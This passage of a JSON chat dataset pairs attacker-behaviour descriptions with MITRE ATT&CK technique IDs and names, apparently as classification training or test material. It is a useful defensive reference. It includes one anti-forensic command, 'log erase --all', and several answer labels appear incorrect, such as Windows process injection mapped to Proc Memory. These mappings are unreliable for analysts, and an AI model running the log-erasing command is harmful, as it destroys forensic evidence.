                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program registers a custom DDE service that other compromised processes can call to retrieve encryption keys for data theft."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers execute commands to disable the built‑in backup service, blocking future recovery attempts."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inserted a defaced banner into the corporate internal HR portal using stolen admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor collects data on which positions hold access to critical systems within the victim company."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The email appears to be a delivery notice from a courier service, containing a link that leads to a phishing page identical to the company's internal portal."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program calls OpenProcess, then WriteProcessMemory to place a backdoor payload into the memory of a high-privilege service."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload attempts to detect sandbox environments by measuring the time taken to execute a Sleep(10) call and comparing it to expected timing."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a known vulnerability in a VPN client software to execute arbitrary code on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise leverages LDAP://RootDSE to fetch the list of all domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service account, the attacker abused the trust relationship between the on‑premises AD and the cloud directory to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑intruder leverages WHOIS data from public registries to identify the network range and associated IP addresses of the target."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By searching for the target’s IP address ranges on Baidu, the threat actor discovers exposed services."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the production of USB flash drives, an adversary pre‑installs a malicious driver that auto‑installs when connected to a computer."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a rogue service to read from a network share and upload the data to an external site."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a slowloris attack, opening many HTTP connections and keeping them idle to exhaust the server's connection pool."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries launch malicious .msc files via the Windows MMC binary to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates Windows Registry keys to discover installed software and system configuration."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtained stolen GCP service account keys and used gcloud compute ssh to directly access a cloud VM, executing commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs the NtCreateToken API to forge a new access token, then uses it to launch a command prompt with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerated all computers on the internal network by issuing a NetView command to list remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker attempts to exhaust the login attempts for a target account by rapidly trying different passwords, what tactic does this belong to?"
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks a thread and uses Asynchronous Procedure Calls to run arbitrary code in the context of another process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the CreateProcessWithTokenW function to start a privileged process under a fabricated token."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors place a third‑party utility on the target system by uploading it through a compromised web application."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor adds a hidden service account to the domain controller to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a custom script that silently creates a hidden user profile on macOS by setting the user’s UID to 500 and masking it from the System Preferences Users pane."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised host stores captured screenshots in a staging directory for later upload."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised third‑party SaaS integration, the adversary obtained an API key that granted read access to all corporate email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the 'whois -h whois.cymru.com' service to map IP address ownership for target ranges."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers hijack the Microsoft Build Engine (MSBuild) to execute malicious payloads by modifying project files that are later compiled on target systems."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves crafting a base64‑encoded script that is decoded and executed in memory by a scheduled task, leaving no trace on the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses Regsvcs to execute a base64‑encoded payload embedded in a .NET assembly, evading detection by AV scanners."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injected into a legitimate desktop application extracts the stored Microsoft Graph API tokens to gain persistent access to cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts a traceroute to map the network path and infer firewall placement."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts LSA secret data via the LsaEnumerateAccounts API to collect cached credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion technique that utilizes DCOM for remote command execution on Windows."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor configures the compromised host to forward all outbound traffic through an internal proxy server to bypass network segmentation."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply‑chain attack inserted malicious DNS records during software installation."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential theft, the malicious actor disabled the cloud firewall's DDoS protection settings, exposing services to attacks."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom daemon runs with signal handlers that drop SIGKILL attempts, effectively ignoring process interrupts to remain hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor issues a GET request to the container engine's /containers/json endpoint, then parses the response to locate embedded registry authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights on a macOS workstation, the attacker clears the unified logs using \"log erase --all\"."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks employees into revealing their Office 365 credentials, which are then used to download sensitive documents."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encrypts its beacon messages with a static XOR key shared between the implant and the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes creating a hidden cron task that runs a credential-stealing tool at 3:30 AM daily."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the web application's upload endpoint, the attacker placed a covert mining client onto the compromised web server."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a script that sends data in chunks of less than 1 KB to avoid triggering data loss prevention alerts."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deploys a script that calls the Azure Graph API to register a new admin account."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT hijacked an organization's software distribution server, replacing legitimate installer files with malicious versions."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor reproduces authentic security notification UI elements to trick users into disabling endpoint protection."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alters the process memory of a legitimate remote desktop client to inject a backdoor for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group leveraged OAuth token hijacking to gain unauthorized access to victims' Facebook accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor hijacks an existing Windows service by changing its ImagePath to a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised the code signing infrastructure, allowing them to sign malicious updates to a third‑party software component that the target organization auto‑updates."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor repeatedly sends malformed system calls to a Windows host, causing the kernel to crash and rendering the endpoint unusable."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker logs in using the default 'admin' account that comes with the operating system."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs reverse DNS lookups on IP ranges to map hostnames within the victim’s network."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages Dynamic Data Exchange via a crafted Excel file to run PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers set up an SSH port forward to bypass network segmentation and access restricted internal services."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit reads the securityd process's data structures to harvest authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries conduct web crawling of the victim's website and affiliated sites to compile a list of third‑party vendors and service providers."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a custom script to query public APIs of email verification services, retrieving lists of active corporate email addresses."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a custom access token with specific privileges, the attacker bypasses User Account Control (UAC) prompts."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider forwards a malicious PDF disguised as a company policy update to other staff, which exploits a known vulnerability to drop a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies confidential documents and publishes them on a public paste service like Pastebin to steal the data."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a man‑in‑the‑middle proxy that strips TLS entirely from traffic, effectively removing encryption and exposing data."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilizes lateral movement to spread throughout a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a third‑party serverless service and use it to host phishing pages targeting the organization."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Driving-by compromise via crafted web advertisements"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised developer’s credentials, the adversary accessed the CA’s web portal and requested a new code‑signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group logs into the corporate VPN with legitimate domain user accounts collected from phishing."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used LSB steganography on a BMP image to exfiltrate data from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor corrupts the system's firmware by exploiting a privileged driver, causing the firmware to execute attacker code on boot."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a scheduled task that runs rundll32.exe to launch a backdoor DLL at system startup, leveraging the trusted binary for persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses the Verclsid system binary to launch a script that establishes persistence via scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan accesses the /proc/driver/rtc file on a Linux box to obtain the real‑time clock."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses a vulnerable API endpoint to enumerate user accounts and retrieve authentication tokens."
